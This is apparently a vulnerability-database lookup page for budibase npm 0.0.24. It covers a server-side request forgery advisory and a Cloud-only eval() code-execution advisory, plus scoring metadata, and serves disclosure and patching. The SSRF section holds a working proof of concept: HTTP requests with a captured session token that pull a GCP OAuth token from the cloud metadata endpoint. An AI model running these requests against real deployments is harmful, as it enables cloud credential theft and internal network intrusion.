Lookup for vulnerable packages by Package URL.

Purlpkg:npm/budibase@0.0.24
Typenpm
Namespace
Namebudibase
Version0.0.24
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_versionnull
Latest_non_vulnerable_versionnull
Affected_by_vulnerabilities
0
url VCID-gcvb-68zb-6qew
vulnerability_id VCID-gcvb-68zb-6qew
summary
Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview
### Summary
The REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.

### Details

The vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

```
fields.path  →  RestClient.read({ path })  →  node-fetch(path)
```

No blocklist exists for:
- Loopback (`127.0.0.1`, `::1`)
- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)
- Link-local / cloud metadata (`169.254.x.x`)
- Internal Kubernetes DNS (`.svc.cluster.local`)

The `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and `fields.path` overrides it entirely.

### PoC

**Step 1 — Get session token**
```http
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}
```
Response sets `Cookie: budibase:auth=<JWT>`.

**Step 2 — Get a REST datasourceId**
```http
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
```
Pick any `_id` where `"source": "REST"`.

Captured from this engagement:
- Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs`
- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`
- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`

**Step 3 — Send SSRF request**

Change `fields.path` to any internal URL. Examples below.

**3a. Cloud metadata — GCP OAuth2 token**
```http
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json

{
  "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
  "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
  "fields": {
    "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
    "headers": {"Metadata-Flavor": "Google"},
    "queryString": "", "requestBody": ""
  },
  "schema": {}
}
```
Response:
```json
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}
```
### Impact
_What kind of vulnerability is it? Who is impacted?_
Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:

- **Cloud credential theft** — GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project.
- **Internal database access** — CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data.
- **Internal service enumeration** — MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable.
- **Kubernetes cluster access** — K8s API server reachable at `kubernetes.default.svc` using the pod's mounted service account token.

The vulnerability affects **all deployment environments** (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.




Detected by:
Abdulrahman Albatel
Abdullah Alrasheed
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-33226
reference_id
reference_type
scores
0
value 0.00019
scoring_system epss
scoring_elements 0.05254
published_at 2026-06-09T12:55:00Z
1
value 0.00019
scoring_system epss
scoring_elements 0.05272
published_at 2026-06-05T12:55:00Z
2
value 0.00019
scoring_system epss
scoring_elements 0.05256
published_at 2026-06-06T12:55:00Z
3
value 0.00019
scoring_system epss
scoring_elements 0.05249
published_at 2026-06-07T12:55:00Z
4
value 0.00019
scoring_system epss
scoring_elements 0.05209
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-33226
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-23T16:48:04Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33226
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33226
4
reference_url https://github.com/advisories/GHSA-4647-wpjq-hh7f
reference_id GHSA-4647-wpjq-hh7f
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4647-wpjq-hh7f
fixed_packages
aliases CVE-2026-33226, GHSA-4647-wpjq-hh7f
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gcvb-68zb-6qew
1
url VCID-gzy7-jbgf-qfbu
vulnerability_id VCID-gzy7-jbgf-qfbu
summary
Budibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)
A critical unsafe `eval()` vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. **This vulnerability ONLY affects Budibase Cloud (SaaS)** - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization.

The primary impact comes from what lives inside the pod's environment: the `app-service` pod runs with **secrets baked into its environment variables**, including `INTERNAL_API_KEY`, `JWT_SECRET`, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-27702
reference_id
reference_type
scores
0
value 0.00098
scoring_system epss
scoring_elements 0.26941
published_at 2026-06-09T12:55:00Z
1
value 0.00098
scoring_system epss
scoring_elements 0.26934
published_at 2026-06-08T12:55:00Z
2
value 0.00098
scoring_system epss
scoring_elements 0.26983
published_at 2026-06-07T12:55:00Z
3
value 0.00098
scoring_system epss
scoring_elements 0.27021
published_at 2026-06-06T12:55:00Z
4
value 0.00098
scoring_system epss
scoring_elements 0.27029
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-27702
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/commit/348659810cf930dda5f669e782706594c547115d
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/commit/348659810cf930dda5f669e782706594c547115d
3
reference_url https://github.com/Budibase/budibase/pull/18087
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/pull/18087
4
reference_url https://github.com/Budibase/budibase/releases/tag/3.30.4
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/releases/tag/3.30.4
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-27702
reference_id CVE-2026-27702
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-27702
6
reference_url https://github.com/advisories/GHSA-rvhr-26g4-p2r8
reference_id GHSA-rvhr-26g4-p2r8
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-rvhr-26g4-p2r8
7
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-rvhr-26g4-p2r8
reference_id GHSA-rvhr-26g4-p2r8
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/security/advisories/GHSA-rvhr-26g4-p2r8
fixed_packages
0
url pkg:npm/budibase@3.30.4
purl pkg:npm/budibase@3.30.4
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/budibase@3.30.4
aliases CVE-2026-27702, GHSA-rvhr-26g4-p2r8
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gzy7-jbgf-qfbu
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/budibase@0.0.24